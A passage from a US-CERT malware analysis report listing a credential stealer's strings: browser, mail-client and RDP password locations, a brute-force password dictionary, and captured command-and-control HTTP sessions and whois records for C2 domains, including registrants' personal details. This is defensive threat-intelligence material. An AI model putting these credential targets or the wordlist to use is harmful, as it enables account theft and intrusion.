+http[:]//
+https[:]//
+moz_logins
+hostname
+encryptedPassword
+encryptedUsername
+\Google\Chrome
+\Chromium
+\ChromePlus
+Software\ChromePlus
+Install_Dir
+.rdp
+TERMSRV/*
+password 51:b:
+username:s:
+full address:s:
+TERMSRV/
+.oeaccount
+Salt
+<_OP3_Password2
+<_MTP_Password2
+<IMAP_Password2
+<HTTPMail_Password2
+\Microsoft\Windows Live Mail
+Software\Microsoft\Windows Live Mail
+\Microsoft\Windows Mail
+Software\Microsoft\Windows Mail
+Software\IncrediMail
+EmailAddress
+Technology
+PopServer
+PopPort
+PopAccount
+PopPassword
+SmtpServer
+SmtpPort
+SmtpAccount
+SmtpPassword
+SMTP Email Address
+SMTP Server
+POP3 Server
+POP3 User Name
+SMTP User Name
+NNTP Email Address
+NNTP User Name
+US-CERT MIFR-10105049-Update2
+26 of 63
+NNTP Server
+IMAP Server
+IMAP User Name
+Email
+HTTP User
+HTTP Server URL
+POP3 User
+IMAP User
+HTTPMail User Name
+HTTPMail Server
+SMTP User
+POP3 Port
+SMTP Port
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+POP3 Password2
+IMAP Password2
+NNTP Password2
+HTTPMail Password2
+SMTP Password2
+POP3 Password
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+HTTP Password
+SMTP Password
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+Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings
+Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
+Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
+Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
+Software\Microsoft\Internet Account Manager
+Outlook
+\Accounts
+identification
+identitymgr
+inetcomm server passwords
+outlook account manager passwords
+identities
+{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}
+Thunderbird
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+eminem
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+US-CERT MIFR-10105049-Update2
+27 of 63
+loving
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+qwerty1
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+phpbb
+12345678
+jordan
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+lucky
+anthony
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+dragon
+US-CERT MIFR-10105049-Update2
+28 of 63
+trustno1
+jason
+internet
+mustdie
+john
+letmein
+mike
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+jordan23
+abc123
+red123
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+jesus1
+12345
+london
+computer
+microsoft
+muffin
+qwert
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+master
+111111
+qazwsx
+samuel
+canada
+slayer
+rachel
+onelove
+qwerty
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+iloveyou1
+whatever
+password
+blessing
+snoopy
+1q2w3e4r
+cookie
+11111
+chelsea
+pokemon
+hahaha
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+matrix
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+iloveyou
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+US-CERT MIFR-10105049-Update2
+29 of 63
+poop
+blessed
+1234567890
+heaven
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+john316
+cool
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+andrew
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+hockey
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+enter
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+123123
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+nothing
+dakota
+kitten
+asdf
+1111
+banana
+gates
+flower
+taylor
+lovely
+hannah
+princess
+compaq
+jennifer
+myspace1
+smokey
+matthew
+harley
+rotimi
+fuckyou
+soccer1
+123456
+single
+joshua
+green
+123qwe
+starwars
+love
+silver
+austin
+michael
+amanda
+1234
+charlie
+bandit
+chris
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+maggie
+maverick
+online
+spirit
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+adidas
+1q2w3e
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+asshole
+US-CERT MIFR-10105049-Update2
+30 of 63
+apple
+biteme
+666666
+william
+mickey
+asdfgh
+wisdom
+batman
+pass
+End Strings of Interest
+Analysis indicates the primary purpose of this application is to allow an operator to gain unauthorized access to the victim's user data and
+email by hijacking the applications.
+Screenshots
+searching_reg_pop3.bmp
+Code utilized by 9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5 to parse email passwords from the
+user's Windows registry hive.
+Domains
+private.directinvesting.com
+HTTP Sessions
+GET /lexicon/index.cfm?dq=d9487&pg=149a8d6adb73d479e66c6 HTTP/1.1
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: private.directinvesting.com
+Connection: Keep-Alive
+Cache-Control: no-cache
+Pragma: no-cache
+GET /lexicon/index.cfm?source=0887a&css=b9&utm_term=80aaeb73d479e66c6&f=12 HTTP/1.1
+US-CERT MIFR-10105049-Update2
+31 of 63
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: private.directinvesting.com
+Connection: Keep-Alive
+Cache-Control: no-cache
+Pragma: no-cache
+GET /lexicon/index.cfm?utm_content=876b73d479e66c6&source=19bd05efa8c HTTP/1.1
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: private.directinvesting.com
+Connection: Keep-Alive
+Cache-Control: no-cache
+Pragma: no-cache
+Whois
+Address lookup
+canonical name
+private.directinvesting.com.
+aliases
+addresses
+204.12.12.40
+Domain Whois record
+Queried whois.internic.net with "dom directinvesting.com"...
+Domain Name: DIRECTINVESTING.COM
+Registrar: NETWORK SOLUTIONS, LLC.
+Sponsoring Registrar IANA ID: 2
+Whois Server: whois.networksolutions.com
+Referral URL: http[:]//networksolutions.com
+Name Server: NS1.LNHI.NET
+Name Server: NS2.LNHI.NET
+Name Server: NS3.LNHI.NET
+Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited
+Updated Date: 04-jun-2016
+Creation Date: 04-aug-1997
+Expiration Date: 03-aug-2021
+>>> Last update of whois database: Mon, 16 Jan 2017 12:55:58 GMT <<<
+Queried whois.networksolutions.com with "directinvesting.com"...
+Domain Name: DIRECTINVESTING.COM
+Registry Domain ID: 5318825_DOMAIN_COM-VRSN
+Registrar WHOIS Server: whois.networksolutions.com
+Registrar URL: http[:]//networksolutions.com
+Updated Date: 2016-06-04T07:10:34Z
+Creation Date: 1997-08-04T04:00:00Z
+Registrar Registration Expiration Date: 2021-08-03T04:00:00Z
+Registrar: NETWORK SOLUTIONS, LLC.
+Registrar IANA ID: 2
+Registrar Abuse Contact Email: abuse@web.com
+Registrar Abuse Contact Phone: +1.8003337680
+Reseller:
+Domain Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited
+Registry Registrant ID:
+Registrant Name: The Moneypaper Inc.
+Registrant Organization: The Moneypaper Inc.
+Registrant Street: 555 THEODORE FREMD AVE STE B103
+Registrant City: RYE
+Registrant State/Province: NY
+Registrant Postal Code: 10580-1456
+Registrant Country: US
+Registrant Phone: +1.9149250022
+Registrant Phone Ext:
+Registrant Fax: +1.9149219318
+Registrant Fax Ext:
+Registrant Email: vnelson@moneypaper.com
+Registry Admin ID:
+Admin Name: Nelson, Vita
+Admin Organization: Money Paper Inc
+Admin Street: 411 THEODORE FREMD AVE
+Admin City: RYE
+Admin State/Province: NY
+Admin Postal Code: 10580-1410
+US-CERT MIFR-10105049-Update2
+32 of 63
+Admin Country: US
+Admin Phone: +1.9149250022
+Admin Phone Ext:
+Admin Fax: +1.9149215745
+Admin Fax Ext:
+Admin Email: vnelson@moneypaper.com
+Registry Tech ID:
+Tech Name: Nelson, Vita
+Tech Organization: Money Paper Inc
+Tech Street: 411 THEODORE FREMD AVE
+Tech City: RYE
+Tech State/Province: NY
+Tech Postal Code: 10580-1410
+Tech Country: US
+Tech Phone: +1.9149250022
+Tech Phone Ext:
+Tech Fax: +1.9149215745
+Tech Fax Ext:
+Tech Email: vnelson@moneypaper.com
+Name Server: NS1.LNHI.NET
+Name Server: NS2.LNHI.NET
+Name Server: NS3.LNHI.NET
+DNSSEC: Unsigned
+URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/
+>>> Last update of WHOIS database: 2017-01-16T12:56:12Z <<<
+Network Whois record
+Queried whois.arin.net with "n ! NET-204-12-12-32-1"...
+NetRange:
+204.12.12.32 - 204.12.12.63
+CIDR:
+204.12.12.32/27
+NetName:
+THEMONEYPAPERINC
+NetHandle:
+NET-204-12-12-32-1
+Parent:
+HOSTMYSITE (NET-204-12-0-0-1)
+NetType:
+Reassigned
+OriginAS:
+AS20021
+Customer:
+THE MONEYPAPER INC. (C02687180)
+RegDate:
+2011-02-03
+Updated:
+2011-02-03
+Ref:
+https[:]//whois.arin.net/rest/net/NET-204-12-12-32-1
+CustName:
+THE MONEYPAPER INC.
+Address:
+555 THEODORE FREMD AVENUE SUITE B-103
+City:
+StateProv:
+PostalCode: 10580
+Country:
+RegDate:
+2011-02-03
+Updated:
+2011-03-19
+Ref:
+https[:]//whois.arin.net/rest/customer/C02687180
+OrgNOCHandle: IPADM271-ARIN
+OrgNOCName: IP Admin
+OrgNOCPhone: +1-302-731-4948
+OrgNOCEmail: ipadmin@hostmysite.com
+OrgNOCRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+OrgTechHandle: IPADM271-ARIN
+OrgTechName: IP Admin
+OrgTechPhone: +1-302-731-4948
+OrgTechEmail: ipadmin@hostmysite.com
+OrgTechRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+OrgAbuseHandle: ABUSE1072-ARIN
+OrgAbuseName: Abuse
+OrgAbusePhone: +1-302-731-4948
+OrgAbuseEmail: abuse@hostmysite.com
+OrgAbuseRef: https[:]//whois.arin.net/rest/poc/ABUSE1072-ARIN
+RNOCHandle: IPADM271-ARIN
+RNOCName: IP Admin
+RNOCPhone: +1-302-731-4948
+RNOCEmail: ipadmin@hostmysite.com
+RNOCRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+RTechHandle: IPADM271-ARIN
+RTechName: IP Admin
+RTechPhone: +1-302-731-4948
+RTechEmail: ipadmin@hostmysite.com
+US-CERT MIFR-10105049-Update2
+33 of 63
+RTechRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+RAbuseHandle: IPADM271-ARIN
+RAbuseName: IP Admin
+RAbusePhone: +1-302-731-4948
+RAbuseEmail: ipadmin@hostmysite.com
+RAbuseRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN
+DNS records
+DNS query for 40.12.12.204.in-addr.arpa returned an error from the server: NameError
+name
+class
+type data time to live
+private.directinvesting.com IN A
+204.12.12.40 3600s
+(01:00:00)
+directinvesting.com IN SOA
+server: ns1.lnhi.net
+email:
+administrator@lnhi.net
+serial:
+refresh: 10800
+retry:
+3600
+expire: 604800
+minimum ttl: 3600
+3600s
+(01:00:00)
+directinvesting.com IN NS ns3.lnhi.net
+3600s
+(01:00:00)
+directinvesting.com IN NS ns1.lnhi.net
+3600s
+(01:00:00)
+directinvesting.com IN NS ns2.lnhi.net
+3600s
+(01:00:00)
+directinvesting.com IN A
+204.12.12.41 3600s
+(01:00:00)
+directinvesting.com IN MX
+preference:
+exchange:
+mail.moneypaper.com
+3600s
+(01:00:00)
+Relationships
+(D) private.directinvesting.com
+Characterized_By
+(W) Address lookup
+(D) private.directinvesting.com
+Connected_From
+55058d3427ce932d8efcbe54dccf97c9a8d1e85c7
+67814e34f4b2b6a6b305641 (8f154)
+(D) private.directinvesting.com
+Related_To
+(H) GET /lexicon/index.c
+(D) private.directinvesting.com
+Related_To
+(H) GET /lexicon/index.c
+(D) private.directinvesting.com
+Related_To
+(H) GET /lexicon/index.c
+(D) private.directinvesting.com
+Related_To
+(I) 204.12.12.40
+Description
+Identified Command and Control Location.
+cderlearn.com
+HTTP Sessions
+POST /search.cfm HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: www[.]cderlearn.com
+Content-Length: 38
+Connection: Keep-Alive
+Cache-Control: no-cache
+Pragma: no-cache
+rss=a5ce5fa&pg=f8&sa=8816db73d479e8e35
+POST /search.cfm HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: www[.]cderlearn.com
+Content-Length: 46
+Cache-Control: no-cache
+id=3&source=a804b4b73d479eebea&rss=53d0&ei=d3c
+US-CERT MIFR-10105049-Update2
+34 of 63
+Whois
+Address lookup
+canonical name
+cderlearn.com.
+aliases
+addresses
+209.236.67.159
+Domain Whois record
+Queried whois.internic.net with "dom cderlearn.com"...
+Domain Name: CDERLEARN.COM
+Registrar: GODADDY.COM, LLC
+Sponsoring Registrar IANA ID: 146
+Whois Server: whois.godaddy.com
+Referral URL: http[:]//www[.]godaddy.com
+Name Server: NS1.WESTSERVERS.NET
+Name Server: NS2.WESTSERVERS.NET
+Status: clientDeleteProhibited https[:]//icann.org/epp#clientDeleteProhibited
+Status: clientRenewProhibited https[:]//icann.org/epp#clientRenewProhibited
+Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited
+Status: clientUpdateProhibited https[:]//icann.org/epp#clientUpdateProhibited
+Updated Date: 03-feb-2016
+Creation Date: 02-feb-2016
+Expiration Date: 02-feb-2018
+>>> Last update of whois database: Mon, 16 Jan 2017 12:57:44 GMT <<<
+Queried whois.godaddy.com with "cderlearn.com"...
+Domain Name: cderlearn.com
+Registry Domain ID: 1999727892_DOMAIN_COM-VRSN
+Registrar WHOIS Server: whois.godaddy.com
+Registrar URL: http[:]//www[.]godaddy.com
+Update Date: 2016-02-02T20:49:41Z
+Creation Date: 2016-02-02T20:49:41Z
+Registrar Registration Expiration Date: 2018-02-02T20:49:41Z
+Registrar: GoDaddy.com, LLC
+Registrar IANA ID: 146
+Registrar Abuse Contact Email: abuse@godaddy.com
+Registrar Abuse Contact Phone: +1.4806242505
+Domain Status: clientTransferProhibited http[:]//www[.]icann.org/epp#clientTransferProh bited
+Domain Status: clientUpdateProhibited http[:]//www[.]icann.org/epp#clientUpdateProhibited
+Domain Status: clientRenewProhibited http[:]//www[.]icann.org/epp#clientRenewProhibited
+Domain Status: clientDeleteProhibited http[:]//www[.]icann.org/epp#clientDeleteProhibited
+Registry Registrant ID: Not Available From Registry
+Registrant Name: Craig Audley
+Registrant Organization:
+Registrant Street: 1 carpenters cottages
+Registrant City: holt
+Registrant State/Province: norfolk
+Registrant Postal Code: nr256sa
+Registrant Country: UK
+Registrant Phone: +44.1263710645
+Registrant Phone Ext:
+Registrant Fax:
+Registrant Fax Ext:
+Registrant Email: craigaudley@gmail.com
+Registry Admin ID: Not Available From Registry
+Admin Name: Craig Audley
+Admin Organization:
+Admin Street: 1 carpenters cottages
+Admin City: holt
+Admin State/Province: norfolk
+Admin Postal Code: nr256sa
+Admin Country: UK
+Admin Phone: +44.1263710645
+Admin Phone Ext:
+Admin Fax:
+Admin Fax Ext:
+Admin Email: craigaudley@gmail.com
+Registry Tech ID: Not Available From Registry
+Tech Name: Craig Audley
+Tech Organization:
+Tech Street: 1 carpenters cottages
+Tech City: holt
+US-CERT MIFR-10105049-Update2
+35 of 63
+Tech State/Province: norfolk
+Tech Postal Code: nr256sa
+Tech Country: UK
+Tech Phone: +44.1263710645
+Tech Phone Ext:
+Tech Fax:
+Tech Fax Ext:
+Tech Email: craigaudley@gmail.com
+Name Server: NS1.WESTSERVERS.NET
+Name Server: NS2.WESTSERVERS.NET
+DNSSEC: unsigned
+URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/
+>>> Last update of WHOIS database: 2017-01-16T12:00:00Z <<<
+Network Whois record
+Queried secure.mpcustomer.com with "209.236.67.159"...
+Queried whois.arin.net with "n 209.236.67.159"...
+NetRange:
+209.236.64.0 - 209.236.79.255
+CIDR:
+209.236.64.0/20
+NetName:
+WH-NET-209-236-64-0-1
+NetHandle:
+NET-209-236-64-0-1
+Parent:
+NET209 (NET-209-0-0-0-0)
+NetType:
+Direct Allocation
+OriginAS:
+AS29854
+Organization: WestHost, Inc. (WESTHO)
+RegDate:
+2010-02-25
+Updated:
+2014-01-02
+Ref:
+https[:]//whois.arin.net/rest/net/NET-209-236-64-0-1
+OrgName:
+WestHost, Inc.
+OrgId:
+WESTHO
+Address:
+517 W 100 N STE 225
+City:
+Providence
+StateProv:
+PostalCode: 84332
+Country:
+RegDate:
+2000-03-13
+Updated:
+2016-09-30
+Comment:
+Please report abuse issues to abuse@uk2group.com
+Ref:
+https[:]//whois.arin.net/rest/org/WESTHO
+ReferralServer: rwhois://secure.mpcustomer.com:4321
+OrgNOCHandle: NOC12189-ARIN
+OrgNOCName: NOC
+OrgNOCPhone: +1-435-755-3433
+OrgNOCEmail: noc@uk2group.com
+OrgNOCRef: https[:]//whois.arin.net/rest/poc/NOC12189-ARIN
+OrgTechHandle: WESTH1-ARIN
+OrgTechName: WestHost Inc
+OrgTechPhone: +1-435-755-3433
+OrgTechEmail: noc@uk2group.com
+OrgTechRef: https[:]//whois.arin.net/rest/poc/WESTH1-ARIN
+OrgAbuseHandle: WESTH2-ARIN
+OrgAbuseName: WestHost Abuse
+OrgAbusePhone: +1-435-755-3433
+OrgAbuseEmail: abuse@uk2group.com
+OrgAbuseRef: https[:]//whois.arin.net/rest/poc/WESTH2-ARIN
+RTechHandle: WESTH1-ARIN
+RTechName: WestHost Inc
+RTechPhone: +1-435-755-3433
+RTechEmail: noc@uk2group.com
+RTechRef: https[:]//whois.arin.net/rest/poc/WESTH1-ARIN
+RNOCHandle: WESTH1-ARIN
+RNOCName: WestHost Inc
+RNOCPhone: +1-435-755-3433
+RNOCEmail: noc@uk2group.com
+RNOCRef: https[:]//whois.arin.net/rest/poc/WESTH1-ARIN
+RAbuseHandle: WESTH2-ARIN
+RAbuseName: WestHost Abuse
+RAbusePhone: +1-435-755-3433
+RAbuseEmail: abuse@uk2group.com
+RAbuseRef: https[:]//whois.arin.net/rest/poc/WESTH2-ARIN
+DNS records
+US-CERT MIFR-10105049-Update2
+36 of 63
+name
+class
+type data time to live
+cderlearn.com IN MX
+preference:
+exchange:
+cderlearn.com
+14400s (04:00:00)
+cderlearn.com IN SOA
+server: ns1.westservers.net
+email:
+hostmaster@westservers.net
+serial:
+2016020303
+refresh: 86400
+retry:
+7200
+expire: 604800
+minimum ttl: 600
+86400s (1.00:00:00)
+cderlearn.com IN NS ns2.westservers.net
+86400s (1.00:00:00)
+cderlearn.com IN NS ns1.westservers.net
+86400s (1.00:00:00)
+cderlearn.com IN A
+209.236.67.159
+14400s (04:00:00)
+159.67.236.209.in-addr.arpa IN PTR dl-573-57.slc.westdc.net 86400s (1.00:00:00)
+67.236.209.in-addr.arpa IN SOA
+server: ns1.westdc.net
+email:
+hostmaster@westdc.net
+serial:
+2010074157
+refresh: 28800
+retry:
+7200
+expire: 604800
+minimum ttl: 600
+86400s (1.00:00:00)
+67.236.209.in-addr.arpa IN NS ns3.westdc.net
+86400s (1.00:00:00)
+67.236.209.in-addr.arpa IN NS ns1.westdc.net
+86400s (1.00:00:00)
+67.236.209.in-addr.arpa IN NS ns2.westdc.net
+86400s (1.00:00:00)
+Relationships
+(D) cderlearn.com
+Characterized_By
+(W) Address lookup
+(D) cderlearn.com
+Connected_From
+9acba7e5f972cdd722541a23ff314ea81ac35d5c0
+c758eb708fb6e2cc4f598a0 (ae7e3)
+(D) cderlearn.com
+Related_To
+(H) POST /search.cfm HTT
+(D) cderlearn.com
+Related_To
+(H) POST /search.cfm HTT
+(D) cderlearn.com
+Related_To
+(I) 209.236.67.159
+Description
+Identified Command and Control location.
+wilcarobbe.com
+Ports
+HTTP Sessions
+POST /zapoy/gate.php HTTP/1.0
+Host: wilcarobbe.com
+Accept: */*
+Accept-Encoding: identity, *;q=0
+Accept-Language: en-US
+Content-Length: 196
+Content-Type: application/octet-stream
+Connection: close
+Content-Encoding: binary
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
+X..3S*3.S..%?.".).....>...
+>V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5
+Whois
+Address lookup
+US-CERT MIFR-10105049-Update2
+37 of 63
+lookup failed wilcarobbe.com
+A temporary error occurred during the lookup. Trying again may succeed.
+Domain Whois record
+Queried whois.internic.net with "dom wilcarobbe.com"...
+Domain Name: WILCAROBBE.COM
+Registrar: BIZCN.COM, INC.
+Sponsoring Registrar IANA ID: 471
+Whois Server: whois.bizcn.com
+Referral URL: http[:]//www[.]bizcn.com
+Name Server: NS0.XTREMEWEB.DE
+Name Server: NS3.XTREMEWEB.DE
+Status: clientDeleteProhibited https[:]//icann.org/epp#clientDeleteProhibited
+Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited
+Updated Date: 07-nov-2016
+Creation Date: 11-apr-2016
+Expiration Date: 11-apr-2017
+>>> Last update of whois database: Mon, 16 Jan 2017 13:05:45 GMT <<<
+Queried whois.bizcn.com with "wilcarobbe.com"...
+Domain name: wilcarobbe.com
+Registry Domain ID: 2020708223_DOMAIN_COM-VRSN
+Registrar WHOIS Server: whois.bizcn.com
+Registrar URL: http[:]//www[.]bizcn.com
+Updated Date: 2016-04-11T17:42:02Z
+Creation Date: 2016-04-11T17:42:00Z
+Registrar Registration Expiration Date: 2017-04-11T17:42:00Z
+Registrar: Bizcn.com,Inc.
+Registrar IANA ID: 471
+Registrar Abuse Contact Email: abuse@bizcn.com
+Registrar Abuse Contact Phone: +86.5922577888
+Reseller: Cnobin Technology HK Limited
+Domain Status: clientDeleteProhibited (http[:]//www[.]icann.org/epp#clientDeleteProhibited)
+Domain Status: clientTransferProhibited (http[:]//www[.]icann.org/epp#clientTransferProhibited)
+Registry Registrant ID:
+Registrant Name: Arsen Ramzanov
+Registrant Organization: NA
+Registrant Street: Zlatoustskaya str, 14 fl 2
+Registrant City: Sadovoye
+Registrant State/Province: Groznenskaya obl
+Registrant Postal Code: 366041
+Registrant Country: ru
+Registrant Phone: +7.4959795033
+Registrant Phone Ext:
+Registrant Fax: +7.4959795033
+Registrant Fax Ext:
+Registrant Email: arsen.ramzanov@yandex.ru
+Registry Admin ID:
+Admin Name: Arsen Ramzanov
+Admin Organization: NA
+Admin Street: Zlatoustskaya str, 14 fl 2
+Admin City: Sadovoye
+Admin State/Province: Groznenskaya obl
+Admin Postal Code: 366041
+Admin Country: ru
+Admin Phone: +7.4959795033
+Admin Phone Ext:
+Admin Fax: +7.4959795033
+Admin Fax Ext:
+Admin Email: arsen.ramzanov@yandex.ru
+Registry Tech ID:
+Tech Name: Arsen Ramzanov
+Tech Organization: NA
+Tech Street: Zlatoustskaya str, 14 fl 2
+Tech City: Sadovoye
+Tech State/Province: Groznenskaya obl
+Tech Postal Code: 366041
+Tech Country: ru
+Tech Phone: +7.4959795033
+Tech Phone Ext:
+Tech Fax: +7.4959795033
+Tech Fax Ext:
+US-CERT MIFR-10105049-Update2
+38 of 63
+Tech Email: arsen.ramzanov@yandex.ru
+Name Server: ns0.xtremeweb.de
+Name Server: ns3.xtremeweb.de
+DNSSEC: unsignedDelegation
+URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/
+>>> Last update of WHOIS database: 2017-01-16T13:06:08Z
+Network Whois record
+Don't have an IP address for which to get a record
+DNS records
+DNS query for wilcarobbe.com returned an error from the server: ServerFailure
+No records to display
+Relationships
+(D) wilcarobbe.com
+Characterized_By
+(W) Address lookup
+(D) wilcarobbe.com
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) wilcarobbe.com
+Related_To
+(H) POST /zapoy/gate.php
+(D) wilcarobbe.com
+Related_To
+(P) 80
+Description
+Identified Command and Control Location.
+one2shoppee.com
+Ports
+Whois
+Address lookup
+canonical name
+one2shoppee.com.
+aliases
+addresses
+2604:5800:0:23::8
+69.195.129.72
+Domain Whois record
+Queried whois.internic.net with "dom one2shoppee.com"...
+Domain Name: ONE2SHOPPEE.COM
+Registrar: DYNADOT, LLC
+Sponsoring Registrar IANA ID: 472
+Whois Server: whois.dynadot.com
+Referral URL: http[:]//www[.]dynadot.com
+Name Server: NS1.DYNADOT.COM
+Name Server: NS2.DYNADOT.COM
+Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited
+Updated Date: 05-jan-2017
+Creation Date: 05-jan-2017
+Expiration Date: 05-jan-2018
+>>> Last update of whois database: Mon, 16 Jan 2017 13:01:15 GMT <<<
+Queried whois.dynadot.com with "one2shoppee.com"...
+Domain Name: ONE2SHOPPEE.COM
+Registry Domain ID: 2087544116_DOMAIN_COM-VRSN
+Registrar WHOIS Server: whois.dynadot.com
+Registrar URL: http[:]//www[.]dynadot.com
+Updated Date: 2017-01-05T10:40:34.0Z
+Creation Date: 2017-01-05T10:40:32.0Z
+Registrar Registration Expiration Date: 2018-01-05T10:40:32.0Z
+Registrar: DYNADOT LLC
+Registrar IANA ID: 472
+Registrar Abuse Contact Email: abuse@dynadot.com
+Registrar Abuse Contact Phone: +1.6502620100
+Domain Status: clientTransferProhibited
+Registry Registrant ID:
+Registrant Name: Authorized Representative
+Registrant Organization: Kleissner & Associates s.r.o.
+Registrant Street: Na strzi 1702/65
+Registrant City: Praha
+Registrant Postal Code: 140 00
+US-CERT MIFR-10105049-Update2
+39 of 63
+Registrant Country: CZ
+Registrant Phone: +420.00000000
+Registrant Email: domains@virustracker.info
+Registry Admin ID:
+Admin Name: Authorized Representative
+Admin Organization: Kleissner & Associates s.r.o.
+Admin Street: Na strzi 1702/65
+Admin City: Praha
+Admin Postal Code: 140 00
+Admin Country: CZ
+Admin Phone: +420.00000000
+Admin Email: domains@virustracker.info
+Registry Tech ID:
+Tech Name: Authorized Representative
+Tech Organization: Kleissner & Associates s.r.o.
+Tech Street: Na strzi 1702/65
+Tech City: Praha
+Tech Postal Code: 140 00
+Tech Country: CZ
+Tech Phone: +420.00000000
+Tech Email: domains@virustracker.info
+Name Server: ns1.dynadot.com
+Name Server: ns2.dynadot.com
+DNSSEC: unsigned
+URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/
+>>> Last update of WHOIS database: 2017-01-16 04:56:51 -0800 <<<
+Network Whois record
+Whois query for 69.195.129.72 failed: TimedOut
+Queried whois.arin.net with "n 69.195.129.72"...
+NetRange:
+69.195.128.0 - 69.195.159.255
+CIDR:
+69.195.128.0/19
+NetName:
+JOESDC-01
+NetHandle:
+NET-69-195-128-0-1
+Parent:
+NET69 (NET-69-0-0-0-0)
+NetType:
+Direct Allocation
+OriginAS:
+AS19969
+Organization: Joe's Datacenter, LLC (JOESD)
+RegDate:
+2010-07-09
+Updated:
+2015-03-06
+Ref:
+https[:]//whois.arin.net/rest/net/NET-69-195-128-0-1
+OrgName:
+Joe's Datacenter, LLC
+OrgId:
+JOESD
+Address:
+1325 Tracy Ave
+City:
+Kansas City
+StateProv:
+PostalCode: 64106
+Country:
+RegDate:
+2009-08-21
+Updated:
+2014-06-28
+Ref:
+https[:]//whois.arin.net/rest/org/JOESD
+ReferralServer: rwhois://support.joesdatacenter.com:4321
+OrgAbuseHandle: NAA25-ARIN
+OrgAbuseName: Network Abuse Administrator
+OrgAbusePhone: +1-816-726-7615
+OrgAbuseEmail: security@joesdatacenter.com
+OrgAbuseRef: https[:]//whois.arin.net/rest/poc/NAA25-ARIN
+OrgTechHandle: JPM84-ARIN
+OrgTechName: Morgan, Joe Patrick
+OrgTechPhone: +1-816-726-7615
+OrgTechEmail: joe@joesdatacenter.com
+OrgTechRef: https[:]//whois.arin.net/rest/poc/JPM84-ARIN
+OrgNOCHandle: JPM84-ARIN
+OrgNOCName: Morgan, Joe Patrick
+OrgNOCPhone: +1-816-726-7615
+OrgNOCEmail: joe@joesdatacenter.com
+OrgNOCRef: https[:]//whois.arin.net/rest/poc/JPM84-ARIN
+RAbuseHandle: NAA25-ARIN
+RAbuseName: Network Abuse Administrator
+RAbusePhone: +1-816-726-7615
+RAbuseEmail: security@joesdatacenter.com
+RAbuseRef: https[:]//whois.arin.net/rest/poc/NAA25-ARIN
+US-CERT MIFR-10105049-Update2
+40 of 63
+RNOCHandle: JPM84-ARIN
+RNOCName: Morgan, Joe Patrick
+RNOCPhone: +1-816-726-7615
+RNOCEmail: joe@joesdatacenter.com
+RNOCRef: https[:]//whois.arin.net/rest/poc/JPM84-ARIN
+RTechHandle: JPM84-ARIN
+RTechName: Morgan, Joe Patrick
+RTechPhone: +1-816-726-7615
+RTechEmail: joe@joesdatacenter.com
+RTechRef: https[:]//whois.arin.net/rest/poc/JPM84-ARIN
+DNS records
+DNS query for 72.129.195.69.in-addr.arpa returned an error from the server: NameError
+DNS query for 8.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.2.0.0.0.0.0.0.0.0.8.5.4.0.6.2.ip6.arpa returned an error from the server: NameError
+name
+class
+type data time to live
+one2shoppee.com IN SOA
+server: ns1.dynadot.com
+email:
+hostmaster@one2shoppee.com
+serial:
+1484571411
+refresh: 16384
+retry:
+2048
+expire: 1048576
+minimum ttl: 2560
+2560s
+(00:42:40)
+one2shoppee.com IN NS ns1.dynadot.com 10800s (03:00:00)
+one2shoppee.com IN NS ns2.dynadot.com 10800s (03:00:00)
+one2shoppee.com IN AAAA
+2604:5800:0:23::8 10800s (03:00:00)
+one2shoppee.com IN A
+69.195.129.72 10800s (03:00:00)
+Relationships
+(D) one2shoppee.com
+Characterized_By
+(W) Address lookup
+(D) one2shoppee.com
+Connected_From
+9f918fb741e951a10e68ce6874b839aef5a26d604
+86db31e509f8dcaa13acec5 (617ba)
+(D) one2shoppee.com
+Related_To
+(P) 80
+Description
+Identified Command and Control Location.
+ritsoperrol.ru
+Ports
+HTTP Sessions
+POST /zapoy/gate.php HTTP/1.0
+Host: ritsoperrol.ru
+Accept: */*
+Accept-Encoding: identity, *;q=0
+Accept-Language: en-US
+Content-Length: 196
